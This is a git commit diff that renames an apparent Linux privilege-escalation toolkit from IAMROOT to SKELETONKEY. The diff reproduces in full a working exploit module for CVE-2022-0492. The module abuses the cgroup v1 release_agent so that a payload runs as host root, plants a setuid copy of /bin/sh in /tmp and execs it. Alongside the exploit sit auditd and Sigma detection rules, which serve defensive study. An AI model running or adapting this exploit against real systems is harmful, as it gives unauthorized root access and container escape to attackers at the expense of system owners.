rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -16,7 +16,7 @@ Original writeup:
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
+41
-41
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
@@ -36,7 +36,7 @@
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -84,12 +84,12 @@ static int can_unshare_userns_mount(void)
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
|
||||
@@ -97,7 +97,7 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
@@ -112,13 +112,13 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
||||
|
||||
static const char PAYLOAD_SHELL[] =
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
||||
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||
|
||||
static bool write_file(const char *path, const char *content)
|
||||
{
|
||||
@@ -147,23 +147,23 @@ static bool write_file(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||
* later. Payload runs as host root when the cgroup is released. */
|
||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
||||
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
chmod(payload_path, 0755);
|
||||
if (!ctx->json) {
|
||||
@@ -173,7 +173,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||
* the setuid shell we expect the payload to plant. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
@@ -193,7 +193,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||
* even on cgroup-v2-first systems). */
|
||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
||||
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||
mkdir(cgmount, 0700);
|
||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||
/* Fallback: try memory controller — needs different reach */
|
||||
@@ -206,7 +206,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||
char cgdir[384];
|
||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
||||
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||
mkdir(cgdir, 0755);
|
||||
|
||||
/* Write release_agent in the ROOT of the controller (must be
|
||||
@@ -254,9 +254,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
"polling for payload execution\n", status);
|
||||
}
|
||||
|
||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
||||
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||
* its appearance + setuid bit. Up to 5 seconds. */
|
||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
||||
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||
bool got_root = false;
|
||||
for (int i = 0; i < 50; i++) {
|
||||
struct stat st;
|
||||
@@ -271,7 +271,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||
"Likely patched or cgroup-controller-blocked.\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -280,39 +280,39 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||
fflush(NULL);
|
||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||
perror("execl");
|
||||
unlink(payload_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||
}
|
||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return IAMROOT_OK;
|
||||
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static const char cgroup_ra_auditd[] =
|
||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||
|
||||
static const char cgroup_ra_sigma[] =
|
||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
||||
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||
@@ -328,7 +328,7 @@ static const char cgroup_ra_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||
|
||||
const struct iamroot_module cgroup_release_agent_module = {
|
||||
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||
.name = "cgroup_release_agent",
|
||||
.cve = "CVE-2022-0492",
|
||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||
@@ -344,7 +344,7 @@ const struct iamroot_module cgroup_release_agent_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cgroup_release_agent(void)
|
||||
void skeletonkey_register_cgroup_release_agent(void)
|
||||
{
|
||||
iamroot_register(&cgroup_release_agent_module);
|
||||
skeletonkey_register(&cgroup_release_agent_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user